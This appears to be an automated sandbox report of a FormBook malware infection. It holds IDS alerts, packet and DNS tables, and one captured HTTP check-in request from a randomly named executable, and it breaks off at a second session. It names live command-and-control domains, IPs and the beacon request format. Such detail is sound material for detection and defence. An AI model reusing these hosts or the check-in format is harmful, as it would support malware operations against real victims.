2024-12-17T08:24:49.495303+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49721	199.59.243.227	80	TCP
2024-12-17T08:24:59.858741+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49723	8.136.96.106	80	TCP
2024-12-17T08:25:02.518436+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49724	8.136.96.106	80	TCP
2024-12-17T08:25:05.230535+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49725	8.136.96.106	80	TCP
2024-12-17T08:25:14.760146+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49727	69.57.163.64	80	TCP
2024-12-17T08:25:17.424909+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49728	69.57.163.64	80	TCP
2024-12-17T08:25:20.112516+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49729	69.57.163.64	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 08:23:54.752136946 CET	49707	80	192.168.2.8	104.21.36.239
Dec 17, 2024 08:23:54.872462034 CET	80	49707	104.21.36.239	192.168.2.8
Dec 17, 2024 08:23:54.872621059 CET	49707	80	192.168.2.8	104.21.36.239
Dec 17, 2024 08:23:54.883296967 CET	49707	80	192.168.2.8	104.21.36.239
Dec 17, 2024 08:23:55.002963066 CET	80	49707	104.21.36.239	192.168.2.8
Dec 17, 2024 08:23:56.047632933 CET	80	49707	104.21.36.239	192.168.2.8
Dec 17, 2024 08:23:56.047899008 CET	80	49707	104.21.36.239	192.168.2.8
Dec 17, 2024 08:23:56.048027992 CET	80	49707	104.21.36.239	192.168.2.8
Dec 17, 2024 08:23:56.048068047 CET	49707	80	192.168.2.8	104.21.36.239
Dec 17, 2024 08:23:56.048068047 CET	49707	80	192.168.2.8	104.21.36.239
Dec 17, 2024 08:23:56.053194046 CET	49707	80	192.168.2.8	104.21.36.239
Dec 17, 2024 08:23:56.172950983 CET	80	49707	104.21.36.239	192.168.2.8
Dec 17, 2024 08:24:12.392018080 CET	49709	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:12.513477087 CET	80	49709	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:12.513552904 CET	49709	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:12.536931992 CET	49709	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:12.656645060 CET	80	49709	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:13.598678112 CET	80	49709	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:13.599071026 CET	80	49709	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:13.599131107 CET	49709	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:14.042710066 CET	49709	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:15.153767109 CET	49710	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:15.273643017 CET	80	49710	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:15.273727894 CET	49710	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:15.354027987 CET	49710	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:15.473786116 CET	80	49710	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:16.358285904 CET	80	49710	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:16.358696938 CET	80	49710	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:16.358783007 CET	49710	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:16.855467081 CET	49710	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:17.899297953 CET	49711	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:18.022190094 CET	80	49711	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:18.022315979 CET	49711	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:18.238291979 CET	49711	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:18.358045101 CET	80	49711	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:18.359952927 CET	80	49711	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:19.107601881 CET	80	49711	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:19.108146906 CET	80	49711	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:19.108223915 CET	49711	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:19.761940002 CET	49711	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:20.843888044 CET	49712	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:20.963660002 CET	80	49712	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:20.963768005 CET	49712	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:21.012799025 CET	49712	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:21.132621050 CET	80	49712	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:22.056040049 CET	80	49712	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:22.056219101 CET	80	49712	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:22.056415081 CET	49712	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:22.059992075 CET	49712	80	192.168.2.8	185.199.110.153
Dec 17, 2024 08:24:22.179698944 CET	80	49712	185.199.110.153	192.168.2.8
Dec 17, 2024 08:24:27.443810940 CET	49713	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:27.563714027 CET	80	49713	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:27.563858986 CET	49713	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:27.579830885 CET	49713	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:27.699820042 CET	80	49713	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:28.902829885 CET	80	49713	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:28.902859926 CET	80	49713	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:28.902939081 CET	49713	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:29.089771986 CET	49713	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:30.131122112 CET	49714	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:30.250921965 CET	80	49714	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:30.251035929 CET	49714	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:30.376171112 CET	49714	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:30.495910883 CET	80	49714	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:31.493892908 CET	80	49714	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:31.494168043 CET	80	49714	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:31.494240999 CET	49714	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:31.887335062 CET	49714	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:33.019906998 CET	49715	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:33.139580965 CET	80	49715	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:33.139764071 CET	49715	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:33.362102985 CET	49715	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:33.481904984 CET	80	49715	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:33.481916904 CET	80	49715	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:34.405495882 CET	80	49715	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:34.406332970 CET	80	49715	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:34.406389952 CET	49715	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:34.406416893 CET	80	49715	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:34.406460047 CET	49715	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:34.871057034 CET	49715	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:35.923181057 CET	49717	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:36.042957067 CET	80	49717	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:36.043051958 CET	49717	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:36.121577978 CET	49717	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:36.241345882 CET	80	49717	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:37.312887907 CET	80	49717	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:37.312948942 CET	80	49717	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:37.313138008 CET	49717	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:37.313174963 CET	80	49717	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:37.313247919 CET	80	49717	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:37.313292980 CET	49717	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:37.317955017 CET	49717	80	192.168.2.8	104.21.48.233
Dec 17, 2024 08:24:37.437657118 CET	80	49717	104.21.48.233	192.168.2.8
Dec 17, 2024 08:24:42.895433903 CET	49719	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:43.015381098 CET	80	49719	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:43.015486956 CET	49719	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:43.031739950 CET	49719	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:43.151606083 CET	80	49719	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:44.111365080 CET	80	49719	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:44.111434937 CET	80	49719	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:44.111447096 CET	80	49719	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:44.111501932 CET	49719	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:44.542886972 CET	49719	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:45.582958937 CET	49720	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:45.705693007 CET	80	49720	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:45.705795050 CET	49720	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:45.730436087 CET	49720	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:45.850517035 CET	80	49720	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:46.802655935 CET	80	49720	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:46.802707911 CET	80	49720	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:46.802742958 CET	80	49720	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:46.802875996 CET	49720	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:47.246131897 CET	49720	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:48.264929056 CET	49721	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:48.384836912 CET	80	49721	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:48.384916067 CET	49721	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:48.402513981 CET	49721	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:48.522228003 CET	80	49721	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:48.522432089 CET	80	49721	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:49.495121956 CET	80	49721	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:49.495171070 CET	80	49721	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:49.495302916 CET	49721	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:49.495467901 CET	80	49721	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:49.495575905 CET	49721	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:49.917773008 CET	49721	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:50.938226938 CET	49722	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:51.058221102 CET	80	49722	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:51.058528900 CET	49722	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:51.068139076 CET	49722	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:51.187900066 CET	80	49722	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:52.154082060 CET	80	49722	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:52.154126883 CET	80	49722	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:52.154161930 CET	80	49722	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:52.154279947 CET	49722	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:52.154279947 CET	49722	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:52.157569885 CET	49722	80	192.168.2.8	199.59.243.227
Dec 17, 2024 08:24:52.277264118 CET	80	49722	199.59.243.227	192.168.2.8
Dec 17, 2024 08:24:58.218080044 CET	49723	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:24:58.338064909 CET	80	49723	8.136.96.106	192.168.2.8
Dec 17, 2024 08:24:58.338149071 CET	49723	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:24:58.354867935 CET	49723	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:24:58.474607944 CET	80	49723	8.136.96.106	192.168.2.8
Dec 17, 2024 08:24:59.858557940 CET	80	49723	8.136.96.106	192.168.2.8
Dec 17, 2024 08:24:59.858684063 CET	80	49723	8.136.96.106	192.168.2.8
Dec 17, 2024 08:24:59.858741045 CET	49723	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:24:59.870963097 CET	49723	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:00.892307997 CET	49724	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:01.012176991 CET	80	49724	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:01.012303114 CET	49724	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:01.028673887 CET	49724	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:01.148437977 CET	80	49724	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:02.518285990 CET	80	49724	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:02.518302917 CET	80	49724	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:02.518435955 CET	49724	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:02.561738968 CET	49724	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:03.578110933 CET	49725	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:03.697807074 CET	80	49725	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:03.697927952 CET	49725	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:03.714528084 CET	49725	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:03.834295988 CET	80	49725	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:03.834346056 CET	80	49725	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:05.224736929 CET	80	49725	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:05.230535030 CET	49725	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:06.250129938 CET	49726	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:06.369890928 CET	80	49726	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:06.370124102 CET	49726	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:06.384931087 CET	49726	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:06.504961014 CET	80	49726	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:07.905020952 CET	80	49726	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:07.906656027 CET	80	49726	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:07.906713009 CET	49726	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:07.908958912 CET	49726	80	192.168.2.8	8.136.96.106
Dec 17, 2024 08:25:08.029761076 CET	80	49726	8.136.96.106	192.168.2.8
Dec 17, 2024 08:25:13.396624088 CET	49727	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:13.516383886 CET	80	49727	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:13.522147894 CET	49727	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:13.540319920 CET	49727	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:13.660011053 CET	80	49727	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:14.760078907 CET	80	49727	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:14.760101080 CET	80	49727	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:14.760145903 CET	49727	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:15.043716908 CET	49727	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:16.062156916 CET	49728	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:16.184531927 CET	80	49728	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:16.184633017 CET	49728	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:16.203038931 CET	49728	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:16.336865902 CET	80	49728	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:17.424590111 CET	80	49728	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:17.424712896 CET	80	49728	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:17.424909115 CET	49728	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:17.727606058 CET	49728	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:18.747458935 CET	49729	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:18.867176056 CET	80	49729	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:18.867321968 CET	49729	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:18.882842064 CET	49729	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:19.002890110 CET	80	49729	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:19.002964973 CET	80	49729	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:20.111902952 CET	80	49729	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:20.112361908 CET	80	49729	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:20.112515926 CET	49729	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:20.387342930 CET	49729	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:22.734334946 CET	49730	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:22.856318951 CET	80	49730	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:22.858345985 CET	49730	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:22.866293907 CET	49730	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:22.986785889 CET	80	49730	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:24.122167110 CET	80	49730	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:24.122288942 CET	80	49730	69.57.163.64	192.168.2.8
Dec 17, 2024 08:25:24.122370005 CET	49730	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:24.125339031 CET	49730	80	192.168.2.8	69.57.163.64
Dec 17, 2024 08:25:24.245007038 CET	80	49730	69.57.163.64	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 08:23:54.429620981 CET	64861	53	192.168.2.8	1.1.1.1
Dec 17, 2024 08:23:54.743221998 CET	53	64861	1.1.1.1	192.168.2.8
Dec 17, 2024 08:24:11.095530987 CET	51468	53	192.168.2.8	1.1.1.1
Dec 17, 2024 08:24:12.204821110 CET	51468	53	192.168.2.8	1.1.1.1
Dec 17, 2024 08:24:12.389413118 CET	53	51468	1.1.1.1	192.168.2.8
Dec 17, 2024 08:24:12.389461994 CET	53	51468	1.1.1.1	192.168.2.8
Dec 17, 2024 08:24:27.119842052 CET	58122	53	192.168.2.8	1.1.1.1
Dec 17, 2024 08:24:27.440190077 CET	53	58122	1.1.1.1	192.168.2.8
Dec 17, 2024 08:24:42.327884912 CET	50026	53	192.168.2.8	1.1.1.1
Dec 17, 2024 08:24:42.892760038 CET	53	50026	1.1.1.1	192.168.2.8
Dec 17, 2024 08:24:57.174262047 CET	58099	53	192.168.2.8	1.1.1.1
Dec 17, 2024 08:24:58.168342113 CET	58099	53	192.168.2.8	1.1.1.1
Dec 17, 2024 08:24:58.214732885 CET	53	58099	1.1.1.1	192.168.2.8
Dec 17, 2024 08:24:58.305752039 CET	53	58099	1.1.1.1	192.168.2.8
Dec 17, 2024 08:25:12.922311068 CET	61799	53	192.168.2.8	1.1.1.1
Dec 17, 2024 08:25:13.393780947 CET	53	61799	1.1.1.1	192.168.2.8
Dec 17, 2024 08:25:29.140902996 CET	59248	53	192.168.2.8	1.1.1.1
Dec 17, 2024 08:25:30.140856981 CET	53	59248	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 08:23:54.429620981 CET	192.168.2.8	1.1.1.1	0x5dd6	Standard query (0)	www.goldbracelet.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:11.095530987 CET	192.168.2.8	1.1.1.1	0xbd21	Standard query (0)	www.pku-cs-cjw.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:12.204821110 CET	192.168.2.8	1.1.1.1	0xbd21	Standard query (0)	www.pku-cs-cjw.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:27.119842052 CET	192.168.2.8	1.1.1.1	0x3212	Standard query (0)	www.ausyva4.top	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:42.327884912 CET	192.168.2.8	1.1.1.1	0xd836	Standard query (0)	www.969-usedcar02.shop	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:57.174262047 CET	192.168.2.8	1.1.1.1	0x2c5	Standard query (0)	www.juewucangku.xyz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:58.168342113 CET	192.168.2.8	1.1.1.1	0x2c5	Standard query (0)	www.juewucangku.xyz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:25:12.922311068 CET	192.168.2.8	1.1.1.1	0x9009	Standard query (0)	www.startsomething.xyz	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:25:29.140902996 CET	192.168.2.8	1.1.1.1	0x2b8f	Standard query (0)	www.opro.vip	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 08:23:54.743221998 CET	1.1.1.1	192.168.2.8	0x5dd6	No error (0)	www.goldbracelet.top		104.21.36.239	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:23:54.743221998 CET	1.1.1.1	192.168.2.8	0x5dd6	No error (0)	www.goldbracelet.top		172.67.201.49	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389413118 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	www.pku-cs-cjw.top	187370.github.io		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389413118 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	187370.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389413118 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	187370.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389413118 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	187370.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389413118 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	187370.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389461994 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	www.pku-cs-cjw.top	187370.github.io		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389461994 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	187370.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389461994 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	187370.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389461994 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	187370.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:12.389461994 CET	1.1.1.1	192.168.2.8	0xbd21	No error (0)	187370.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:27.440190077 CET	1.1.1.1	192.168.2.8	0x3212	No error (0)	www.ausyva4.top		104.21.48.233	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:27.440190077 CET	1.1.1.1	192.168.2.8	0x3212	No error (0)	www.ausyva4.top		172.67.188.88	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:42.892760038 CET	1.1.1.1	192.168.2.8	0xd836	No error (0)	www.969-usedcar02.shop		199.59.243.227	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:58.214732885 CET	1.1.1.1	192.168.2.8	0x2c5	No error (0)	www.juewucangku.xyz		8.136.96.106	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:24:58.305752039 CET	1.1.1.1	192.168.2.8	0x2c5	No error (0)	www.juewucangku.xyz		8.136.96.106	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:25:13.393780947 CET	1.1.1.1	192.168.2.8	0x9009	No error (0)	www.startsomething.xyz		69.57.163.64	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:25:30.140856981 CET	1.1.1.1	192.168.2.8	0x2b8f	No error (0)	www.opro.vip	overdue.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 08:25:30.140856981 CET	1.1.1.1	192.168.2.8	0x2b8f	No error (0)	overdue.aliyun.com		170.33.13.246	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.goldbracelet.top

www.pku-cs-cjw.top

www.ausyva4.top

www.969-usedcar02.shop

www.juewucangku.xyz

www.startsomething.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	104.21.36.239	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:23:54.883296967 CET	469	OUT	GET /3e00/?rPh=vcWi2Nuzfs8bFUYEQnXoBGbuOVlE2i7vXXwcNv5UqJ4W+nqlyarjJ+7bYKIWgHEnmSKdgKCrspLX0t5o9qCKhlhB0ucBfa9KdBCtjbE5oHHxOp6OdcL90Ef3I2JAzosFGA==&kVvpD=Bx4T HTTP/1.1 Host: www.goldbracelet.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Dec 17, 2024 08:23:56.047632933 CET	778	IN	HTTP/1.1 403 Forbidden Date: Tue, 17 Dec 2024 07:23:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6mWxFc3jlOg%2BYNF2eQSghdWdxAub%2BaemXWN69jXUCSYStI9a1MqFS0TCDLnIlE6vjkPrsB3zfff2TiTr8v6nXrtTfbHta%2FkIoGNTjOTGuDAY8kbcu1Mv0VyLy9N4d77mnqEJlvBMWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f352ba9cd0d8c0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1795&min_rtt=1795&rtt_var=897&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=469&delivery_rate=0&cwnd=218&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Dec 17, 2024 08:23:56.047899008 CET	157	IN	Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 Data Ascii: 92<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	185.199.110.153	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
